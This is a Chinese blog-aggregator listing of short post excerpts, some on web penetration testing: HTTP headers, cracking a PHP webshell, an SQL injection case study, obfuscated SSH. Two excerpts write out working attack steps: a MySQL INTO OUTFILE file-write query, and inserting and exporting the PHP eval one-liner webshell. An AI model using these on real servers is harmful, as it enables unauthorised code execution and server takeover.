HTTP支持许多不同的消息头，其中一些专用于特殊用途。一些消息头可用在请求与响应中，而其他一些消息头只能专门用在某个特定的消息中。下面列出渗透测试员在攻击Web应用程序时可能遇到的消息头。1. 常用消息头Connection。这个消息头用于告诉通信的另一端，在完成HTTP传输后是关闭TCP连接，还是...
分类：
Web程序 时间：
2015-01-29 14:30:46
阅读次数：
163
由于学习需要最近注册了一个国外的php空间 鉴于自带php管理系统体验太差 想找一个靠谱的webshell来代替 经过几分钟的搜索 终于在网上找到了一个界面和功能都很不错的php webshell
如图：
当我想再加上自己diy的几个功能时 打开代码一看：
竟然是乱码！ 于是。。心中闪过了一些邪恶的想法。。破解它！
首先 我注意到了base64_encode这个函数,于是 写了一个来讲...
分类：
Web程序 时间：
2015-01-29 09:34:37
阅读次数：
806
满足条件mysql未降权未关闭file权限gpc关闭LIMIT0,1INTOOUTFILE‘这里是路径‘LINESTERMINATEDBY‘这里是你想写的内容‘--SELECT*FROM`user`whereuser=‘root‘LIMIT0,1INTOOUTFILE‘D:/xxxxx/demo.txt‘LINESTERMINATEDBY‘demo‘;
分类：
Web程序 时间：
2015-01-26 17:29:22
阅读次数：
286
mysql3.x拿webshell先建表字段写入一句话查询导出一句话mysql>usemysqlDatabasechangedmysql>CreateTABLEdemo(sanrtextNOTNULL);QueryOK,0rowsaffected(0.00sec)mysql>InsertINTOdemo(sanr)VALUES(‘<?php@eval($_POST[pass]);?>‘);QueryOK,1rowaffected(0.00sec..
分类：
数据库 时间：
2015-01-26 17:27:26
阅读次数：
202
因为先天的消息传达优势和便捷的信息流通方式，互联网渗透到每个行业的时候，几乎都会给该行业带来便利和快捷效率。在过去很长一段时间里，大多数领域的企业都借助这股信息浪潮完成革新，一些领域的企业更是因此推导出新的业务模式O2O交易方式。这种状况一直延续下来的结果，是..
分类：
其他好文 时间：
2015-01-26 10:26:02
阅读次数：
116
这是一篇讲解SQL注入的实例文章，一步一步跟着作者脚步探索如何注入成功，展现了一次完整的渗透流程，值得一读。翻译水平有限，见谅！
一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分，所以尽管我们之前没有使用过SQL注入来渗透网络，但对其概念也相当熟悉了。最后我们在这项任务中大获成功，现在来回顾一下这个过程的每一步，将它记录为一个案例。
“SQL注...
分类：
数据库 时间：
2015-01-23 18:22:11
阅读次数：
238
也不知道怎么了，一些网站访问总是不稳定, 速度也不能令人满意（呵呵，你懂的），总是上演道高一尺魔高一丈的激情攻防游戏。最近又学习了obfuscated ssh，作者08年开发出来但一直没受到重视，甚至连openssh都不接受作者的提交，然而谁也不知道路在何方，巧的是由于祖国的日益强大，obfuscated ssh近几年火了，还火的一塌糊涂。不多说，更多详情自己google、baidu吧，下边只讲一下安装使用过程。
项目地址：https://github.com/aligo/obfuscated-opens...
分类：
其他好文 时间：
2015-01-23 13:31:03
阅读次数：
282
个人算是比较早的使用阿里的余额宝，到了今天，虽然身边也有很多同学在使用，但是我不认为阿里的互联网金融已经真正的渗透到大学生的群体中来了。
一、吸引大学生用户理财的困难之处 其实我觉得阿里也并不准备硬要吸引大学生用户理财，因为这的确有几点困难的地方。 1、阿里不够了解大学生用户群体 2、大学生没多少钱...
分类：
其他好文 时间：
2015-01-22 10:58:07
阅读次数：
198
这是一篇讲解SQL注入的实例文章，一步一步跟着作者脚步探索如何注入成功，展现了一次完整的渗透流程，值得一读。翻译水平有限，见谅！一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分，所以尽管我们之前没有使用过SQL注入来渗透网络，但对其概念也相当熟悉了。最后我...
分类：
数据库 时间：
2015-01-22 10:41:28
阅读次数：
290
LED显示屏已经在一线城市风生水起，各个行业都有渗透。在二三线城市的应用相对来说较少了，特别是在一些特殊行业，不管是一线还是二三线城市，LED显示屏的应用都仅仅是起步，比如说安防，安防对LED显示屏将会是一个很大的需求，LED显示屏在安防上也可能有巨大的市场，但是二三线城市对LED显示屏的需求并不仅...
分类：
其他好文 时间：
2015-01-20 10:09:30
阅读次数：
178
